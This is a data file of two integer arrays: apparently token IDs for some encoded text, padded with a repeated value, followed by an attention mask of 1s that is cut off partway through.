[ 5890, 199, 646, 747, 199, 504, 9116, 492, 3272, 12, 2342, 63, 5154, 199, 504, 9116, 14, 1531, 14, 396, 492, 511, 465, 1379, 3110, 199, 199, 318, 1586, 2031, 1247, 12, 1011, 958, 304, 272, 408, 3284, 282, 570, 1041, 272, 372, 5890, 14, 1490, 8, 267, 747, 14, 515, 14, 904, 8, 736, 14, 515, 14, 3475, 3460, 493, 10139, 627, 1247, 395, 267, 2644, 29, 958, 14, 362, 360, 2991, 297, 283, 1624, 24, 358, 272, 7092, 739, 342, 421, 199, 318, 2198, 63, 1064, 63, 475, 63, 8332, 8, 493, 304, 272, 408, 3284, 24537, 570, 436, 3957, 370, 799, 27486, 4516, 1041, 272, 862, 26, 267, 687, 333, 18, 82, 492, 2198, 63, 504, 63, 493, 267, 372, 2198, 63, 504, 63, 493, 8, 493, 680, 1814, 8, 288, 298, 580, 800, 10665, 298, 1014, 921, 10905, 14, 1465, 14, 7119, 14, 2182, 6687, 267, 776, 272, 871, 3545, 26, 267, 327, 333, 18, 82, 1443, 440, 506, 4903, 315, 922, 3734, 267, 372, 1586, 8, 493, 9, 421, 199, 533, 1611, 774, 8, 774, 3110, 304, 272, 408, 2713, 774, 2088, 533, 5759, 367, 511, 13, 292, 13, 1506, 521, 9330, 339, 1455, 921, 1301, 14, 4462, 14, 1308, 15, 287, 15, 7410, 15, 8302, 80, 6457, 7724, 14, 1360, 3, 9285, 13, 15092, 339, 408, 272, 922, 63, 1419, 275, 4274, 4462, 13, 589, 4009, 283, 65, 297, 298, 14517, 370, 986, 370, 4613, 11323, 339, 347, 8265, 63, 1419, 8, 277, 304, 267, 1379, 3110, 14, 8489, 63, 1419, 8, 277, 9, 267, 291, 14, 4462, 63, 589, 275, 359, 288, 283, 2219, 3678, 288, 2475, 6872, 7, 267, 1622, 259, 327, 912, 4243, 2348, 339, 347, 1255, 63, 2219, 8, 277, 304, 267, 492, 16701, 267, 327, 646, 2348, 12, 7675, 9682, 314, 22151, 10621, 1133, 6511, 267, 492, 4613, 267, 4613, 63, 4405, 275, 942, 267, 862, 26, 259, 327, 739, 28279, 288, 4613, 63, 4405, 275, 16701, 14, 1294, 8, 277, 14, 4462, 63, 589, 9, 267, 871, 4281, 26, 221, 327, 1180, 4243, 288, 4613, 63, 4405, 275, 291, 14, 4462, 63, 589, 267, 7554, 275, 4613, 14, 973, 8, 4462, 63, 4405, 9, 267, 4458, 8, 7931, 9, 199, 199, 2758, 8, 272, 536, 534, 9864, 9217, 297, 272, 6117, 29, 1623, 63, 5154, 1062, 272, 1015, 534, 16, 14, 18, 14, 17, 297, 272, 1369, 534, 33, 6829, 570, 5978, 315, 8343, 367, 32315, 13152, 14, 221, 15127, 11947, 697, 297, 272, 4132, 534, 26696, 17579, 2799, 439, 1237, 12, 1603, 2660, 1603, 4548, 297, 272, 4132, 63, 2123, 534, 15820, 439, 1237, 1167, 1342, 32, 6799, 14, 957, 297, 272, 1166, 534, 2859, 921, 5031, 14, 957, 15, 15820, 439, 1237, 1167, 1342, 15, 9864, 9217, 297, 272, 5235, 63, 633, 534, 2859, 921, 5031, 14, 957, 15, 15820, 439, 1237, 1167, 1342, 15, 9864, 9217, 15, 6404, 15, 4133, 14, 3065, 297, 272, 7681, 2968, 22130, 13152, 297, 283, 4824, 13, 262, 297, 283, 4659, 297, 283, 9864, 697, 995, 272, 1846, 63, 1802, 29, 1122, 63, 1064, 63, 475, 63, 8332, 480, 18195, 14, 1064, 1288, 272, 19137, 1524, 267, 283, 11411, 8466, 3800, 2018, 3800, 499, 14, 23, 297, 267, 283, 11411, 8466, 3800, 2018, 3800, 650, 14, 20, 297, 267, 283, 11411, 8466, 3800, 2018, 3800, 650, 14, 21, 297, 267, 283, 11411, 8466, 3800, 2018, 3800, 650, 14, 22, 297, 267, 283, 11411, 8466, 3800, 2018, 3800, 650, 14, 23, 7, 272, 2156, 272, 3907, 63, 6537, 1524, 267, 283, 9864, 697, 8119, 19, 14, 18, 14, 17, 297, 267, 283, 9864, 697, 63, 12161, 8119, 17, 14, 16, 14, 20, 297, 267, 283, 29380, 8119, 19, 14, 20, 14, 16, 7, 272, 2156, 272, 2295, 63, 4365, 1524, 267, 283, 4462, 8119, 19, 14, 18, 14, 16, 297, 267, 283, 647, 8119, 17, 14, 20, 14, 1153, 7, 272, 2156, 272, 2088, 533, 3126, 267, 283, 396, 356, 2713, 774, 272, 789, 199, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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